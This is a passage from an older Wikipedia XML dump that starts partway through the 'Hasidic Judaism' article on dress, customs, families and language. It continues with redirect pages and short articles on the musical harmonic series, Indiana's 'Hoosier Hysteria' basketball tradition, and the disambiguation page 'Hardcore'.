Hasidic men most commonly wear all black with a white shirt. On the [[Shabbat]] they wear a long black silk or [[satin]] (or similar of a cheaper material, such as polyester) robe called a ''[[bekishe]]'', with which they use a ''[[gartel]]'' (a type of prayer belt). A Hasidic [[Rebbe]] on [[Shabbat]] traditionally wears a white ''bekishe'' rather than a black one, but this practice is no longer followed today, save for some Rebbes of Jerusalem based Hasidic sects such as [[Toldos Aharon]] and [[Lelov (Hasidic dynasty)|Lelov]]. Many Hassidic Rebbs wear a ''bekishe'' that is lined with velvet.  In many other Hasidic sects the Rebbe wears a white, gold, or other coloured &quot;tish bekitcha&quot; only during the &quot;[[tish (hasidic)|Tish]]&quot; or during the prayers that come right before or after the &quot;tish&quot;. In many others no colored bekishe other than black is worn at all. 

Contrary to popular belief, Hasidic dress has little or nothing to do with the way [[szlachta | Polish nobles]] once dressed. The [[Jewish Emancipation | Emancipation]] movement originated this myth in the late 19th century in an attempt to induce younger Jews to abandon the outfit. Interestingly, secular Yiddish writers of old, living in Eastern Europe ([[Sholom Aleichem]], for example) appear to have no knowledge of the &quot;Polish origin&quot; of the dress. Likewise, numerous Slavic sources from the 15th century onwards refer to the &quot;Jewish Kaftan&quot;. The Tsarist edict of the mid-19th century banning Jewish outfits mentions the &quot;Jewish Kaftan&quot; and &quot;Jewish hat&quot; - as a result of this edict Hasidim modified their dress in the Russian Empire and generally abandoned [[sidelocks]]. Modern [[Chabad Lubavitch]] dress - where the [[Prince Albert of Saxe-Coburg and Gotha|Prince Albert]] [[frock coat | frock-coat]] substitutes for the ''bekishe''  -  reflects this change.  

Generally Hasidic dress has altered over the last hundred years and become more European in response to the Emancipation Movement. Modern Hasidim tend to wear Hasidic dress as used just prior to [[World War II]] - numerous pictures of Hasidim in the mid-19th century show a far more Levantine outfit (i.e. a kaftan lacking lapels or buttons) that differs little from the classical oriental outfit consisting of the kaftan, white undershirt, sash, knee-breeches (''Halb-Hoyzn''), white socks and slippers - this outfit allegedly had a [[Babylonia]]n origin before its later adoption by the Israelites, Persians and lastly the Turks,  who brought it to Europe where it became the basis of the modern western suit (note the 16th-century European outfit of frock coat, knee-breeches, silk stockings and slippers). The Polish nobility adopted its 16th-century outfit from the Turks - hence (allegedly) the vague similarity between the Hasidic outfit and Polish nobles' clothing. (Similiarly, Hasidic dress has a vague connection with [[Shi'a Islam | Shia Muslim]] clerical dress - the Shia clergy adopted this dress from the Persians). One Hasidic belief (taught by the Klausenberger rebbe) holds that Jews originally invented this [[dress code | dress-code]] and that the Babylonians adopted it from Israelites during the [[Babylonian captivity | Jewish exile in Babylon]] of the 6th century BCE. This belief is not widely believed or known within Hasidism.

The [[Sabbath]] dress of Hasidim resembles the description of the High Priest's dress in the Bible - which provides  the first written mention of the kaftan, etc. Thus many Hasidim believe that Hasidic dress reflects ancient Judaic concepts - for instance white socks tucked in short pants so one's trouser-bottoms never touch the floor (considered unholy); and slippers (''shtibblat'') without buckles or laces so one never need touch one's shoes - also considered unholy.

* Kaftans (bekishes, kapotes, chalat) serve as a sign of modesty and piety, covering the entire body.
* A sash or ''gartel'' divides one's lower parts from one's upper parts.
* [[Knee-breeches]] mean that a man's private parts remain covered when walking up stairs (according to the Talmud).

====Headwear====
Hasidim customarily wear black hats during the weekdays as do nearly all Haredim today. A variety of hats are worn depending on the sect. 
Hasidim wear a variety of fur headdresses on the Sabbath:
*''[[Shtreimel]]'' is worn by Hasidim from Galicia and Hungary such as [[Bobov]] and [[Belz]].
*''[[Spodik]]'' are worn by Polish Hasidim such as [[Ger]], [[Amshinov]], [[Aleksander]].
*''Choibl'' or &quot;Soyvl&quot; was worn in Poland prior to the [[Holocaust]], and has fallen into disuse.
*''Kolpak'' is a traditional Slavic headdress, worn by unmarried sons and grandsons of many Rebbes on the Sabbath. The Kolpak is worn by some Rebbes on special occasions other than the Sabbath, such as Chanukah.
*''Kasket'' was a peaked cap worn during the week, prior to the Holocaust. It was worn in Poland, Belarus and the Ukraine, and was worn by poorer Hasidim on the Sabbath. Its use began as a result of the Tsarist decrees banning other traditional Jewish headdress. In these geographic areas, generally only rabbis wore black hats.  Today, some Hassidic children, under the age of 13, wear a ''kasket'' on the sabbath.
*Chabad Hasidim wear black [[fedora (hat)|fedora]]s, dating back to the style of the [[1940s]] and [[1950s|50]]s
*''Samet'' or ''beaver hats'' are worn by Galician and Hungarian Chassidim during the week and by unmarried men on the Sabbath as well.  There are many types of ''Samet'' hats, most notably the &quot;high&quot; and &quot;flat&quot; varieties.  The &quot;flat&quot; type is worn by Satmar Hassidim, and some others as well.  Some Rabbis wear a &quot;round&quot; ''samet'' hat.
*A small furry hat called a ''kutchma'', from the Hungarian &quot;kucsma,&quot; is worn by many Hasidic laymen during weekdays in the winter. This hat is referred to as a ''shlyapka'', шляпка, by Russian Jews.

[[Image:HasidicRebbe.JPG|thumb|The Durohi Rebbe, a Hasidic [[Rebbe]] in traditional [[Shabbat]] garb]]

====Women====
Hasidic women wear clothing of less distinctive appearance than that of their male counterparts, but which answers to the principles of ''[[tzeniut]]'' (modest dress in the sense of Jewish law).  Long, conservative skirts and sleeves past the elbow form the standard, but other than that, Hasidic women wear clothing like other women in the non-Jewish societies in which they live. In some Hasidic groups, such as Satmar, many married women shave their heads. In many Hasidic groups the women wear wigs. Other Hasidic groups consider it hypocritical to wear false hair, so they simply put their hair into nets (called &quot;snoods&quot;) or kerchiefs (called ''tichels'' - a ''tichel'' often covers a ''shpitzel'').  All Hasidic groups allow uncovered hair before marriage.

====Hair====
Following a Biblical commandment not to shave the sides of one's face, male members of some Hasidic groups wear long, uncut sideburns called [[payot]] ([[Ashkenazic Hebrew]] ''payos'').  Not every Hasidic group requires long payot, but all groups discourage the cutting of one's beard. All Hasidic boys receive their [[first haircut]]s ceremoniously at the age of three years.  Until then, Hasidic boys have long hair. Many non-Hasidic (and even non-Orthodox) Jews have adopted this custom.

====Tzitzit====
The white threads seen at the waists of Hasidim and other Orthodox Jews have the name ''[[tzitzit]]''.  The requirement to wear fringes comes from the [[Book of Numbers]]: &quot;Speak to the children of Israel, and bid them that they make them fringes on the borders of their garments throughout their generations&quot; (Numbers 15:38).  By tradition, a Hasidic boy will receive his first fringed garment on his third birthday, the same day as his first haircut.

===Ritual Bathing===

Male [[Orthodox Judaism|Orthodox]] [[Jew]]s customarily immerse in a ''[[mikvah]]'' (ritual pool of water) before major [[Jewish holiday]]s (and particularly before [[Yom Kippur]]), in order to achieve spiritual cleanliness. Many Hasidim have extended this to a daily practice preceding [[Shacharit|morning prayers]].

Married female Orthodox Jews are required to immerse in a ''mikvah'' seven days after their menstrual cycle has ended.  According to Orthodox law, there may be no contact between a husband and wife from the beginning of her period until immersion in a kosher ''mikvah''.

===Families===

Hasidic men and women, as customary in [[Haredi Judaism]], usually meet through matchmakers in a process called a ''[[shidduch]]'', but marriages involve the mutual consent of the couple and of the parents.  Expectations exist that a bride and groom should be about the same age. No custom encourages an older man marrying a young woman.  

Myth asserts that Hasidic couples have intercourse through a sheet with holes in it - a false assertion.  In fact, in traditional Jewish law, if a husband insists, out of a sense of modesty, that he and his wife perform intercourse with a lack of physicality, the court should force the husband to give his wife a divorce.

Hasidic Jews, like many other Orthodox Jews, have a reputation for producing large families; the average Hasidic family in the United States has 7.9 children.[http://www.aish.com/jewishissues/jewishsociety/Jews_and_the_Jewish_Birthrate.asp] Many sects follow this custom out of what they consider a Biblical mandate to 'be fruitful and multiply', and to replenish a Jewish population badly decimated during the [[Holocaust]].

===Languages===

Most Hasidim speak the vernaculars of the lands in which they live, but try to use [[Yiddish]] amongst themselves as a way of keeping distinct and maintaining tradition.  Thus, contrary to popular assumption, children continue to learn Yiddish and the language does not appear about to die.  Yiddish newspapers continue in publication, and the Hasidic world produces a relatively healthy amount of Yiddish fiction, primarily aimed at women.  

Some Hasidic groups actively oppose the everyday use of Hebrew as in [[Israel]]: they regard Hebrew as a holy language,  profaned by use for anything other than prayer.  Indeed, some Hasidim in [[Israel]] (such as the [[Satmar]] and [[Toldos Aaron]] groups) tend to use [[Yiddish]] as their everyday vernacular.

==See also== 
*[[List of Hasidic dynasties]]
*[[Schisms among the Jews#Hasidim and Mitnagdim|Hasidim and Mitnagdim]]
*[[Neturei Karta]]
*''[[The Chosen (Chaim Potok)|The Chosen]]''; the neutrality of this book is disputed
*[[Neo Hasidism]]
*[[Lazar Gulkowitsch]]

==External links==
*[http://www.sanzusa.info/media/5765MTL.wmv Hasidim performing a Mitzah Tantz, a ritual dance] (Windows Media Audio/Video file)
*[http://www.sanzusa.info/media/5765SPurim.wmv Hasidim celebrating the holiday of Purim] (Windows Media Audio/Video file)

==Further reading==
*''The Great Mission: The life and story of Rabbi Yisrael Baal Shem Tov''. Compiled by Rabbi Eli Friedman, translated by Rabbi Elchonon Lesches. Kehot Publication Society, 2005, ISBN 0-8266-0681-4.
*''Holy Days: The World of a Hasidic Family''. Lis Harris. Simon &amp; Schuster New York, 1985, ISBN 0-684-81366-1.

== References ==
* Boteach, Shmuel ''Wisdom, Understanding, and Knowledge: Basic Concepts of Hasidic Thought'' Jason Aronson, 1995, ISBN 0876685572
* Buber, Martin and Fetterman, Bonny V. (ed.) ''Tales of the Hasidim: Book One: The Early Masters and Book Two: The Later Masters'' (Two books in one) Schocken Books; 1961, 1991, ISBN 0805209956
* Finkel, Avraham Yaakov ''Contemporary Sages: The Great Chasidic Masters of the Twentieth Century'' Jason Aronson, 1994, ISBN 1568211554.
* Nadler, Allan ''The Faith of the Mithnagdim: Rabbinic Responses to Hasidic Rapture'' Johns Hopkins University Press, 1998, 1997 ISBN 0801855608
* Schochet, Elijah Judah ''The Hasidic Movement and the Gaon of Vilna'', Jason Aaronson, 1994, ISBN 1568211252
* ''Encyclopedia Judaica'', Hasidic Judaism, Keter Publishing
*[http://www.jewishencyclopedia.com/view.jsp?artid=349&amp;letter=H Hasidim, Hasidism], jewishencyclopedia.com
*[http://www.jewishvirtuallibrary.org/jsource/Judaism/Hasidism.html Hasidism], jewishvirtuallibrary.org
*[http://shamash.org/lists/scj-faq/HTML/faq/02-index.html  What is Chassidism?], scjfaq.org
*[http://www.pinenet.com/rooster/hasid1.html FAQ on Hasidism], hasidism.info
*[http://shamash.org/lists/scj-faq/HTML/rl/joc-index.html Hasidic Judaism Reading List], shamash.org
*[http://www.chabad.org/search/keyword.asp?kid=2534 Chassidism] - chabad.org
'''Resources'''
*[http://www.chabad.org/library/article.asp?AID=109854 Large collection of Chassidic Texts in English] chabad.org
*[http://www.chabad.org/library/article.asp?AID=109851 Hasidic Stories], chabad.org
*[http://www.chabad.org/library/article.asp?AID=332484 historical and biographical studies] in Hasidic history. Chabad.org 


==Footnotes==
#{{note|Besht}} Meaning &quot;Master of the Good Name&quot;, abbreviated as ''Besht''.

[[Category:Hasidic Judaism|*]]
[[Category:Orthodox Judaism]]

[[da:Hassidisme]]
[[de:Chassidismus]]
[[eo:Ĥasidismo]]
[[et:Hassidism]]
[[fr:Hassidisme]]
[[he:תנועת החסידות]]
[[yi:חסידות]]
[[ja:ハシディズム]]
[[nl:Chassidisch jodendom]]
[[nn:Ḥasidisk jødedom]]
[[pl:Chasydyzm]]
[[pt:Judaísmo chassídico]]
[[sv:Chasidism]]
[[uk:Хасидизм]]</text>
    </revision>
  </page>
  <page>
    <title>History of post-Communist Russia</title>
    <id>14438</id>
    <revision>
      <id>15911995</id>
      <timestamp>2004-06-28T06:28:48Z</timestamp>
      <contributor>
        <username>Paranoid</username>
        <id>25394</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[History of post-Soviet Russia]]</text>
    </revision>
  </page>
  <page>
    <title>Harmonic series (music)</title>
    <id>14439</id>
    <revision>
      <id>40291336</id>
      <timestamp>2006-02-19T15:54:57Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Bugle]] to [[Bugle (instrument)]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">:''See [[harmonic series (mathematics)]] for the (related) mathematical concept.''

Pitched [[musical instrument]]s are usually based on a [[harmonic oscillator]] such as a string or a column of air. Both can and do oscillate at numerous frequencies simultaneously. Because of the self-filtering nature of [[resonance]], these frequencies are mostly limited to integer multiples of the lowest possible frequency, and such multiples form the '''harmonic series'''.

== Description of the harmonic series ==

The lowest possible frequency of a [[harmonic oscillator]] is called its [[fundamental frequency]]. This frequency determines the musical [[pitch (music)|pitch]] or note that is created by vibration over the full length of the string or air column.

In nearly every musical instrument, the fundamental note is always accompanied by other, higher-frequency tones that are generally called '''overtones'''. In pitched (''i.e.,'' non-percussion) instruments, these shorter, faster [[wave|waves]] are reflected between the two ends of the string or air column. As the reflected waves interact, frequencies whose wavelengths do not divide evenly into the length of the string or air column are suppressed, and the vibrations that persist are called '''harmonics'''. Their wavelengths are 1, 1/2, 1/3, 1/4, 1/5, 1/6, etc. of the length of the string or air column. To better understand this, see [[node_(physics)|node]].

Theoretically, these wavelengths produce vibrations at frequencies that are 2, 3, 4, 5, 6, etc. times the fundamental frequency. Physical characteristics of the vibrating medium and/or the resonator against which it vibrates often alter these frequencies. (See [[inharmonicity]] and [[stretched tuning]] for alterations specific to wire-stringed instruments and certain electric pianos.) However, those alterations are small, and except for precise, highly specialized tuning, it is reasonable to think of the frequencies of the harmonic series as integer multiples of the fundamental frequency.

The harmonic series is an [[arithmetic series]] (2×f, 3×f, 4×f, 5×f, ...). In terms of frequency (measured in cycles per second, or [[hertz]] (Hz)), the difference between consecutive harmonics is therefore constant. But because our ears respond to sound [[logarithm|logarithmically]], we perceive higher harmonics as &quot;closer together&quot; than lower ones. On the other hand, the [[octave]] series is a [[geometric progression]] (2×f, 4×f, 8×f, 16×f, ...), and we hear these distances as &quot;the same&quot; in all ranges. In terms of what we hear, each octave in the harmonic series is divided into increasingly &quot;smaller&quot; and more numerous intervals.

The second harmonic, twice the frequency of the fundamental, sounds an [[octave]] higher; the third harmonic, three times the frequency of the fundamental, sounds a [[perfect fifth]] above the second. The fourth harmonic vibrates at four times the frequency of the fundamental and sounds a [[perfect fourth]] above the third (two octaves above the fundamental). Double the harmonic number means double the frequency (which sounds an octave higher). The combined oscillation of a string with several of its lowest harmonics can be seen clearly in an interactive animation at [http://id.mind.net/~zona/mstm/physics/waves/standingWaves/standingWaves1/StandingWaves1.html Edward Zobel's &quot;Zona Land&quot;].

[[Image:Hseries.png|frame|right|An illustration of the harmonic series as musical notation. Not all the notes are exactly in tune; see below for details.]]
For a fundamental of C1, the first 16 harmonics are notated as shown. You can listen to [[media:Harmonics 110x16.ogg|A2 (110 Hz) and 15 of its partials]] if you have [[Wikipedia:Media help|a media player capable]] of playing [[Vorbis]] files. You can also hear a sweep of the first 20 harmonics of A1 (55 Hz) in Quicktime format by [http://www.music.sc.edu/fs/bain/atmi02/hs/playback/sweep/ clicking here].

== Terminology ==

'''''Harmonic vs. partial.''''' Harmonics are often called partials. In some contexts, &quot;partial&quot; may refer to an [[overtone]] that is ''not'' an integer multiple of the fundamental frequency, but this can be confusing in wire-stringed instruments where, due to [[inharmonicity]], ''none'' of the harmonics vibrate at ''exact'' integer multiples of the fundamental. In music, and especially among tuning professionals, the words &quot;harmonic&quot; and &quot;partial&quot; are generally interchangeable.

Likewise, many musicians use the term '''''overtones''''' as a synonym for harmonics. For others, an [[overtone]] may be any frequency that sounds along with the fundamental tone, regardless of its relationship to the [[fundamental frequency]]. The sound of a cymbal or gong includes overtones that are ''not'' harmonics; that's why the gong's sound doesn't seem to have a very definite pitch compared to the same fundamental note played on a piano.

'''''Harmonic numbering.''''' In most contexts, the fundamental vibration of an oscillating body represents its first harmonic. However, some musicians, tuners, and even developers of piano tuning software do not consider the fundamental to be a harmonic; it is just the fundamental. For them, the harmonic one octave above the fundamental (the second mode of vibration) is the first harmonic or first partial. There are logical arguments for both approaches to numbering, but in this article, the fundamental vibration is referred to as the first harmonic for simplicity.

== Harmonics and tuning ==

If the first 15 harmonics are [[transposition (music)|transposed]] into the span of one [[octave]], they approximate some of the notes in what the West has adopted as the chromatic scale based on the fundamental tone. The Western chromatic scale has been modified into twelve equal [[minor second|semitones]], and in relation to that scale, many of the harmonics are slightly out of tune, and the 7th, 11th, and 13th harmonics are significantly so. In the late 1930s, composer [[Paul Hindemith]] ranked musical intervals according to their relative [[consonance and dissonance|dissonance]] based on these and similar harmonic relationships.

Below is a comparison between the first 20 harmonics and their equivalent frequencies in the 12-tone equal-tempered scale. Orange-tinted fields highlight differences greater than 5 cents, which is the &quot;[[just noticeable difference]]&quot; for the human ear. (Because physical characteristics of musical instruments cause significant variations from these theoretical values, they should not be used for tuning without adjusting for those variations.)

&lt;center&gt;
{| border=1 cellpadding=0 cellspacing=0
|-
| valign=top |
{| border=0 cellpadding=2 cellspacing=2
|-
! Harmonic
! Note
! Variance
|-
| bgcolor=#eeeeee | 1st
| bgcolor=#eeeeee | C1
| bgcolor=#eeeeee | 0 cents
|-
| bgcolor=#eeeeee | 2nd
| bgcolor=#eeeeee | C2
| bgcolor=#eeeeee | 0 cents
|-
| bgcolor=#eeeeee | 3rd
| bgcolor=#eeeeee | G2
| bgcolor=#eeeeee | +2 cents
|-
| bgcolor=#eeeeee | 4th
| bgcolor=#eeeeee | C3
| bgcolor=#eeeeee | 0 cents
|-
| bgcolor=#ffeedd | 5th
| bgcolor=#ffeedd | E3
| bgcolor=#ffeedd | &amp;minus;14 cents
|-
| bgcolor=#eeeeee | 6th
| bgcolor=#eeeeee | G3
| bgcolor=#eeeeee | +2 cents
|-
| bgcolor=#ffeedd | 7th
| bgcolor=#ffeedd | Bb3
| bgcolor=#ffeedd | &amp;minus;31 cents
|}
| valign=top |
{| border=0 cellpadding=2 cellspacing=2
|-
! Harmonic
! Note
! Variance
|-
| bgcolor=#eeeeee | 8th
| bgcolor=#eeeeee | C4
| bgcolor=#eeeeee | 0 cents
|-
| bgcolor=#eeeeee | 9th
| bgcolor=#eeeeee | D4
| bgcolor=#eeeeee | +4 cents
|-
| bgcolor=#ffeedd | 10th
| bgcolor=#ffeedd | E4
| bgcolor=#ffeedd | &amp;minus;14 cents
|-
| bgcolor=#ffeedd | 11th
| bgcolor=#ffeedd | F4
| bgcolor=#ffeedd | &amp;minus;49 cents
|-
| bgcolor=#eeeeee | 12th
| bgcolor=#eeeeee | G4
| bgcolor=#eeeeee | +2 cents
|-
| bgcolor=#ffeedd | 13th
| bgcolor=#ffeedd | A4
| bgcolor=#ffeedd | +41 cents
|-
| bgcolor=#ffeedd | 14th
| bgcolor=#ffeedd | Bb4
| bgcolor=#ffeedd | &amp;minus;31 cents
|}
| valign=top |
{| border=0 cellpadding=2 cellspacing=2
|-
! Harmonic
! Note
! Variance
|-
| bgcolor=#ffeedd | 15th
| bgcolor=#ffeedd | B4
| bgcolor=#ffeedd | &amp;minus;12 cents
|-
| bgcolor=#eeeeee | 16th
| bgcolor=#eeeeee | C5
| bgcolor=#eeeeee | 0 cents
|-
| bgcolor=#eeeeee | 17th
| bgcolor=#eeeeee | C#5
| bgcolor=#eeeeee | +5 cents
|-
| bgcolor=#eeeeee | 18th
| bgcolor=#eeeeee | D5
| bgcolor=#eeeeee | +4 cents
|-
| bgcolor=#eeeeee | 19th
| bgcolor=#eeeeee | D#5
| bgcolor=#eeeeee | &amp;minus;2 cents
|-
| bgcolor=#ffeedd | 20th
| bgcolor=#ffeedd | E5
| bgcolor=#ffeedd | &amp;minus;14 cents
|}
|}
&lt;/center&gt;

If two different notes are played simultaneously, the composite sound includes the harmonics of both notes. In musical intervals, one or more of those harmonics are common to both notes. For example, if C3 and G3 are sounding together, their harmonic series intersect at G4 (2nd of G3, 3rd of C3) and G5 (4th of G3, 6th of C3). If these common harmonics are at the same frequency or nearly so in both notes, the composite sound will seem harmonious. If their frequencies differ significantly, we tend to hear the notes as &quot;out of tune&quot; with each other. Tuning involves changing the fundamental pitch of one of the notes to control the relationship between these common harmonics.

'''''Temperament''''' is the process of [[musical tuning|tuning]] notes of the 12-semitone Western scale to set the common harmonics of certain intervals slightly out of tune in certain directions to allow an overall harmonious musical experience when the notes are played together in many combinations. Because the term &quot;harmonious&quot; has different meanings in different contexts and cultures, there are many different temperaments, but all are tuned according to the relationships among the common harmonics of various intervals.

== Timbre of musical instruments ==

The relative [[amplitude|amplitudes]] of the various harmonics primarily determine the [[timbre]] of different instruments and sounds, though [[formant|formants]] also have a role. For example, the [[clarinet]] and [[saxophone]] have similar [[mouthpiece|mouthpieces]] and [[reed (music)|reeds]], and both produce sound through [[resonance]] of air inside a chamber whose mouthpiece end is considered closed. Because the clarinet's resonator is cylindrical, the even-numbered harmonics are suppressed, which produces a purer tone. The saxophone's resonator is conical, which allows the even-numbered harmonics to sound more strongly and thus produces a more complex tone. Of course, the differences in [[resonance]] between the wood of the clarinet and the brass of the saxophone also affect their tones. The [[inharmonicity|inharmonic]] ringing of the instrument's metal resonator is even more prominent in the sounds of brass instruments.

Our ears tend to resolve harmonically-related frequency components into a single sensation. Rather than perceiving the individual harmonics of a musical tone, we perceive them together as a tone color or timbre, and we hear the overall [[pitch (music)|pitch]] as the fundamental of the harmonic series being experienced. If we hear a sound that is made up of even just a few simultaneous tones, and if the intervals among those tones form part of a harmonic series, our brains tend to resolve this input into a sensation of the pitch of the fundamental of that series, ''even if the fundamental is not sounding''. This phenomenon is used to advantage in music recording, especially with low bass tones that will be reproduced on small speakers.

Variations in the frequency of harmonics can also affect the ''perceived'' fundamental pitch. These variations, most clearly documented in the [[piano]] and other stringed instruments but also apparent in brass instruments, are caused by a combination of metal stiffness and the interaction of the vibrating air or string with the resonating body of the instrument. The complex splash of strong, high [[overtone|overtones]] and metallic ringing sounds from a cymbal almost completely hide its fundamental tone. See [[stretched tuning]], [[inharmonicity]], and [[piano acoustics]].

== Register and special effects of musical instruments ==

In wind instruments, which produce sounds with a resonating air column, the lowest possible note is the fundamental resonance of the entire instrument. For a given length of resonator, only notes in the harmonic series of the resonator can be played clearly: higher notes are played by exciting higher harmonics, which is accomplished by changing the vibration at the reed or mouthpiece. Notes that are not in the harmonic series are played by changing the effective length of the resonator, usually by opening a venting hole in the side of the instrument.

Many wind instruments are designed to allow higher harmonics to be played more easily by damping the normal fundamental resonance. For example, on most [[woodwind instrument|woodwind instruments]] (such as [[clarinet]], [[saxophone]], [[oboe]], and [[bassoon]]), an [[octave key]] or register key opens a small hole high up on the resonator, prompting the instrument to oscillate at a higher harmonic partial and giving the player easier access to a higher octave of the instrument. Generally, flutists can access higher harmonics even without a register key simply by changing the pressure and angle of the air stream. This is also evident in blowing over the lips of bottles.

On [[brass instruments]], the small number of keys only allows a small chromatic range to be played off of any given harmonic, so it is necessary for the musician to play many harmonics to get the full range of the instrument. The different harmonics are accessed by increasing the vibration of the lips against the mouthpiece, essentially by tightening the embouchure and blowing the air faster. A brass instrument of relatively short length with no valves (e.g. military [[Bugle (instrument)|bugle]]) plays only the lowest notes of the harmonic series, making it ideal for [[bugle call]]s. The six- to ten-foot length of the unvalved &quot;natural trumpet&quot;, the predominant form of the [[trumpet]] from about 1500 to the early 1800s[http://www.goucher.edu/physics/baum/nattrumpfaql.htm], not only allowed skilled players to play twice as many harmonics (the &quot;Clarino register&quot;), but also produced a fuller, richer tone due to the presence of those harmonics in lower notes.

The fundamental pitches of conical-bore brass instruments (such as [[flugelhorn]] or [[tuba]]) can be played, but they require significant skill to play with characteristic tone, and they are not often called for in literature.

The physics of cylindrical-bore brass instruments (such as the modern [[trumpet]] and [[trombone]]) does not actually provide a mode of vibration for the fundamental pitch.  However, the higher harmonics help the lips establish a vibration at the fundamental frequency regardless.  These &quot;faked fundamentals&quot; are known as [[pedal tone|pedal tones]].  Pedal tones have a distinct timbre and require some skill to control.  They are called for occasionally in advanced literature, particularly in that of the trombone.

On a stringed instrument, it is possible to damp the fundamental and thus sound at a higher frequency by lightly touching the string at a harmonic [[node (physics)|node]]. For example, by touching the string lightly at its midpoint, the musician forces the string to vibrate in its second transverse mode, sounding the second harmonic. Such light-touch fingering can be applied to notes at 1/3, 1/4, etc. of the string length to produce higher harmonics. Simply pressing the string to the fingerboard at those positions would not yield the same note as the harmonic.

== See also ==
* [[Harmony]]
* [[FM synthesis]]
* [[Additive synthesis]]
* [[Missing fundamental]]
* [[Pedal tone]]
* [[Overtone singing]]
* [[Physics of music]]
* [[Mathematics of musical scales]]

==External links==

*The interaction of reflected waves on a string is illustrated in a simplified animation that can be found at [http://id.mind.net/~zona/mstm/physics/waves/interference/waveInterference2/WaveInterference2.html Edward Zobel's &quot;Zona Land&quot;].
*[http://www.music.sc.edu/fs/bain/atmi02/ A Web-based Multimedia Approach to the Harmonic Series]
*[http://www.rmit.edu.au/browse/News%20and%20Events%2FNews%2FOpenline%2F2000%2FBells%20worth%20listening%20to/ Bells worth listening to: A composer and a sculptor from Melbourne have developed the world's first harmonic bells]

[[Category:Tuning]]

[[pl:szereg harmoniczny (muzyka)]]
[[pt:Série harmônica (música)]]
[[it:Armonici naturali]]</text>
    </revision>
  </page>
  <page>
    <title>Hasidim</title>
    <id>14441</id>
    <revision>
      <id>15911998</id>
      <timestamp>2005-04-04T16:23:49Z</timestamp>
      <contributor>
        <username>Jfdwolff</username>
        <id>46555</id>
      </contributor>
      <comment>the former term is not used, see [[Special:Whatlinkshere/Hasidim]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hasidic Judaism]]</text>
    </revision>
  </page>
  <page>
    <title>History of post-communist Rusia</title>
    <id>14442</id>
    <revision>
      <id>15911999</id>
      <timestamp>2004-06-28T06:31:00Z</timestamp>
      <contributor>
        <username>Paranoid</username>
        <id>25394</id>
      </contributor>
      <text xml:space="preserve">#redirect [[History of post-Soviet Russia]]</text>
    </revision>
  </page>
  <page>
    <title>Hoosier Hysteria</title>
    <id>14443</id>
    <revision>
      <id>40207304</id>
      <timestamp>2006-02-18T23:33:15Z</timestamp>
      <contributor>
        <username>Latinus</username>
        <id>800894</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] recat per [[Wikipedia:Categories_for_deletion|CFD]] of [[Wikipedia:Categories_for_deletion/Log/2006_February_9#Sports_in_the_United_States_by_state|9 February 2006]]</comment>
      <text xml:space="preserve">{{wikify}}

'''Hoosier Hysteria''' is the state of excitment surrounding the state [[high school]] [[basketball]] tournament in [[Indiana]].  To some degree this excitement can be understood by watching the movie ''[[Hoosiers]]''.  In part, the excitment stemmed from the inclusion of all Indiana high schools in the same tournament, where a small town's [[David]] might knock off a large city's [[Goliath]]. The most famous example occurred in [[1954]], when [[Milan, Indiana|Milan]] (enrollment 161) defeated [[Muncie, Indiana|Muncie]] Central (enrollment over 1,600) to win the state title. The plot of ''Hoosiers'' was very loosely based on the story of the 1954 Milan team.

However, after Milan, no school with an enrollment of less than 500 would win another boys' state title under the all-comers format. As school consolidation became more common and as more rural residents migrated to cities making large high schools grow even larger, smaller high schools had only a mismatch to look forward to come tournament time as success concentrated in Indiana's large urban and suburban schools. Finally, starting with the [[1997]]-[[1998|98]] season, Indiana established a controversial four-class system for its basketball championship. The state's move to this new system has, to some extent, diminished the phenomenon and public opinion is split on the merits of &quot;class basketball.&quot;

Nonetheless, [[Hoosier]]s still have a traditional love for high school basketball equalled only by the love for high school football found in Texas and Western Pennsylvania, and Minnesotans' love for high school hockey.  It is one of the state's cherished traditions.

Historically, the several hundred small towns of Indiana had its own small school system.  Before consolidation of many of these rural school districts in the last half of the [[20th century]] (Milan itself is now a consolidated school whose enrollment is twice what it was in 1954), Indiana high schools had fewer students than those of most other states; basketball was a natural game for these schools since it only required five starters and a few reserves.  Even one or two great basketball players can make a high school team a powerhouse, and nearly every Indiana town dreams of such glory.

Incidentally, two states still use an all-comers format. [[Delaware]] uses an all-comers format mainly because the state has only approximately 30 high schools. The closest parallel to Indiana's old-style all-comers tournament is in the neighboring [[US State|state]] of [[Kentucky]]. Like Indiana, Kentucky traditionally used an all-comers format, and several small rural and small-town schools have won over the years. Compared to Indiana, however, Kentucky has relatively few extremely large high schools and has continued the all-comers format for basketball. Schools comparable in size to Milan (and even smaller) have won Kentucky state titles since 1990.

[[Category:Basketball in the United States]]
[[Category:Sports in Indiana]]
[[Category:High school sports in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Hardcore</title>
    <id>14445</id>
    <revision>
      <id>41538890</id>
      <timestamp>2006-02-28T00:50:26Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{wiktionarypar|hardcore}}
In music, '''hardcore''' may be used to refer to:
*[[Hardcore techno]], a subgenre of electronic dance music closely related to Gabber
**[[Happy hardcore]], a form of dance music typified by a very fast tempo, female vocals, and saccharine lyrics
**[[UK hardcore]], a genre found at the start of the 21st century in the United Kingdom
**[[Breakbeat hardcore]], which shares its rhythm lines with breakbeat
**[[Digital hardcore]], a gritty genre first defined by Alec Empire in the early 1990s
*[[Hardcore punk]], a more intense version of punk rock
**[[Hardcore Emo]], a style of music that existed primarily in the early-mid 90s, also known as Chaotic Emo
**[[Christian hardcore]], a form of hardcore punk music featuring evangelical Christian lyrics and themes
**[[Melodic hardcore]], a more melodic, less furious version of hardcore punk
**[[Post-hardcore]], a musical offshoot of hardcore punk
**[[Hardcore dancing]], a form of mosh dancing or slam dancing
*[[Hardcore hip hop]], a subgenre of hip hop characterized by confrontational lyrics and gritty beats


Other uses include:
*[[Hardcore pornography]], a form of pornography that features explicit sexual acts
**[[Max Hardcore]] (born Paul F. Little, 1956) a controversial American male porn star
*[[Hardcore wrestling]], a style of professional wrestling
**[[Forever Hardcore]], a professional wrestling documentary DVD
**[[Hardcore Homecoming]], a professional wrestling event in 2005
*''[[Hardcore (film)]]'', a 1979 film written and directed by Paul Schrader and starring George C. Scott.
